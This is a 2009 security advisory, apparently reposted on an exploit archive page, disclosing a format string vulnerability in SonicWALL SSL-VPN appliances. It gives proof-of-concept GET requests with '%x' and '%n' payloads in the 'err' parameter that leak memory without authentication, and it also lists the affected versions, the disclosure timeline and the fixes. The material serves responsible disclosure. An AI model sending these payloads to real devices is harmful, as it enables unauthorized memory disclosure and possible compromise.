what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SonicWALL Format String Vulnerability

SonicWALL Format String Vulnerability
Posted May 30, 2009
Authored by Patrick Webster | Site aushack.com

The SonicWALL SSL-VPN suffers from a format string vulnerability.

tags | exploit
SHA-256 | d61874b0bac8b2bad842cad6c3610da76702cb7908add80b69b4de89d2f5e1b8

SonicWALL Format String Vulnerability

Change Mirror Download
aushack.com - Vulnerability Advisory
-----------------------------------------------
Release Date:
29-May-2009

Software:
SonicWALL - SSL-VPN Remote Access
http://www.sonicwall.com/

Description:
"SonicWALL SSL VPN appliances provide small and mid-size organizations an
easy-to-use, secure and affordable remote access solution that requires no
pre-installed client software. Utilizing a standard Web browser, authorized
users such as employees, contractors, partners and customers, can easily and
securely access e-mail, files, intranets, Web and legacy applications
and remote desktops from any location."

Versions affected:
SonicWALL SSL-VPN 2000/4000 3.5.0.4 and below.
SonicWALL SSL-VPN 200 3.0.0.8 and below.


Vulnerability discovered:

Format string vulnerability.

Vulnerability impact:

High - Remote code execution, and the ability to remotely map out the
internal memory structures.

Vulnerability information:

This vulnerability allows remote attackers to execute format string specifiers
on the remote appliance as an unauthenticated user.

The device uses a HTML form, where failed authentication results in an error:
"Login failed - Incorrect name/password"

https://[target]/cgi-bin/welcome/VirtualOffice?err=Login%20failed%20-%20Incorrect%20name%2Fpassword

By inserting format strings instead of expected input, the statement
is interpreted
by printf() and the result is returned in a HTTP GET response.

Examples:

The following GET request will result in "ABCD0044434241" being returned.

https://[target]/cgi-bin/welcome/VirtualOffice?err=ABCD%x%x%x

0x44434241 is the little endian hexadecimal representation for ABCD.

It is possible to read memory remotely by specifying further format
strings, such as:

https://[target]/cgi-bin/welcome/VirtualOffice?err=%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x

returns

"007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578254007120040304d8cbffff22840221389804b1e04007127925000"

This may reveal sensitive information.

Attempts to write to memory result in an error, indicating that an
access violation
may have occurred, therefore remote code execution is likely possible
with further research (i.e. physical access :).

https://[target]/cgi-bin/welcome/VirtualOffice?err=%n

"Sorry, the SSL-VPN you are trying to reach is unavailable at this
time. Please try again later."

References:
aushack.com advisory
http://www.aushack.com/200905-sonicwall.txt

Credit:
Patrick Webster ( patrick@aushack.com )

Disclosure timeline:
12-Jan-2009 - Discovered during audit.
09-Feb-2009 - 1st email sent to security@sonicwall.com. No response.
27-Feb-2009 - 2nd email sent to security@sonicwall.com. No response.
01-May-2009 - Asked contacts within the security industry for
SonicWALL contact.
07-May-2009 - Received email from SonicWALL contact.
08-May-2009 - Sent details to SonicWALL contact.
15-May-2009 - SSL 200 - 3.0.0.9 fix released.
27-May-2009 - SSL 2000/4000 - 3.5.0.5 fix released.
29-May-2009 - Public disclosure.

EOF
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close